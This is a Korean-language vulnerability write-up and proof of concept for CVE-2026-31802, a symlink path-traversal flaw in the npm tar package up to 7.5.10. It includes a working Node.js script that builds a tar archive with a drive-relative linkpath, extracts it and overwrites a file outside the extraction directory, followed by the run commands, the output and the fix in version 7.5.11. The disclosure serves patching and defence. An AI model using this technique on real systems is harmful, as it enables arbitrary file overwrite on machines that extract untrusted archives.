
CVE-2026-31802에 대한 개념 증명 및 기술 문서로, npm tar의 심볼릭 링크 경로 탐색 취약점으로 추출 디렉터리 외부의 임의 파일 덮어쓰기를 허용합니다.
이 저장소에는 npm tar 패키지(node-tar)의 <= 7.5.10 버전에 영향을 미치는 높은 심각도의 취약점인 CVE-2026-31802에 대한 개념 증명(PoC)과 분석 문서가 포함되어 있습니다.
tar가 C:../../../target.txt와 같은 드라이브 상대 경로 심볼릭 링크 대상을 사용하여 의도된 추출 디렉터리 외부를 가리키는 심볼릭 링크를 생성하도록 속일 수 있다는 것을 발견했습니다. 실제로 이로 인해 추출 중에 cwd를 벗어날 수 있으며, 아카이브 추출을 임의 파일 덮어쓰기 프리미티브로 변환할 수 있습니다.
이 버그는 공격자가 제어하는 tar 아카이브를 사용한 일반적인 추출 동작을 통해 도달할 수 있습니다.
tar가 심볼릭 링크 추출을 처리하는 방식을 살펴보던 중 특정 값이 삭제(샌티타이즈) 및 검증 과정에서 일관되지 않게 처리된다는 것을 발견했습니다. 특히 다음과 같은 드라이브 상대 경로는:
linkpathC:../../../target.txt
사용 전에 다시 작성되었지만, 최종적으로 저장되고 적용되는 형태와 동일한 형태로 검증되지는 않았습니다.
이러한 불일치가 버그를 악용 가능하게 만드는 원인입니다.
이 취약점은 추출 중에 tar가 조작된 심볼릭 링크 linkpath 값을 처리하는 방식에서 발생합니다.
높은 수준에서 추출 로직은 다음과 같은 경로에서 드라이브 접두사를 제거합니다:
C:../../../target.txt
그리고 이를 다음과 같이 다시 작성합니다:
../../../target.txt
그러나 경로 탐색 안전 검사는 원래 접두사가 제거되기 전의 값을 기준으로 수행되는 반면, 심볼릭 링크 생성은 나중에 다시 작성된 값을 사용합니다.
즉, 악성 아카이브가 경로의 한 형태를 사용하여 검증을 통과할 수 있지만, 디스크에 기록될 때 추출 디렉터리 외부로 탐색하는 심볼릭 링크를 여전히 생성할 수 있습니다.
악성 아카이브는 다음과 같은 심볼릭 링크 항목을 포함할 수 있습니다:
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt
다음과 같은 일반적인 사용법으로 추출하면:
tar.x({ cwd, file })
다음과 같은 일이 발생합니다:
linkpath에서 드라이브 접두사가 제거됩니다.cwd 외부의 파일에 도달합니다.즉, 추출 로직은 하나의 값을 검증하고 다른 값을 사용합니다. 이러한 차이가 탐색 프리미티브를 생성합니다.
추출된 심볼릭 링크가 추출 루트 외부를 가리키도록 만들 수 있고, 이를 사용하여 작업 디렉터리 외부의 파일을 덮어쓸 수 있음을 입증하기 위해 다음 PoC를 작성했습니다.
PoC는:
../target.txt를 생성합니다a/b/l에 심볼릭 링크 항목이 있는 악성 tar 아카이브를 빌드합니다linkpath를 C:../../../target.txt로 설정합니다a/b/l을 통해 씁니다PoC 스크립트:
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
npm install [email protected]
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt
PWNED는 추출 디렉터리 외부의 파일이 덮어써졌음을 확인합니다.
readlink 출력과 파일 목록은 추출된 심볼릭 링크가 의도된 추출 루트 외부를 가리키고 있음을 보여줍니다.
이 문제는 공격자에게 의도된 추출 디렉터리 외부에서 추출을 수행하는 프로세스의 권한으로 임의 파일 덮어쓰기 프리미티브를 제공합니다.
현실적인 시나리오는 다음과 같습니다:
이러한 환경에서 조작된 아카이브는 애플리케이션이 제어할 것으로 예상하는 디렉터리 외부에 쓰기가 발생하도록 할 수 있습니다.
tar <= 7.5.10tar 7.5.11이 문제는 **7.5.11**에서 패치되었습니다.
사용자는 즉시 업그레이드해야 합니다:
npm install tar@^7.5.11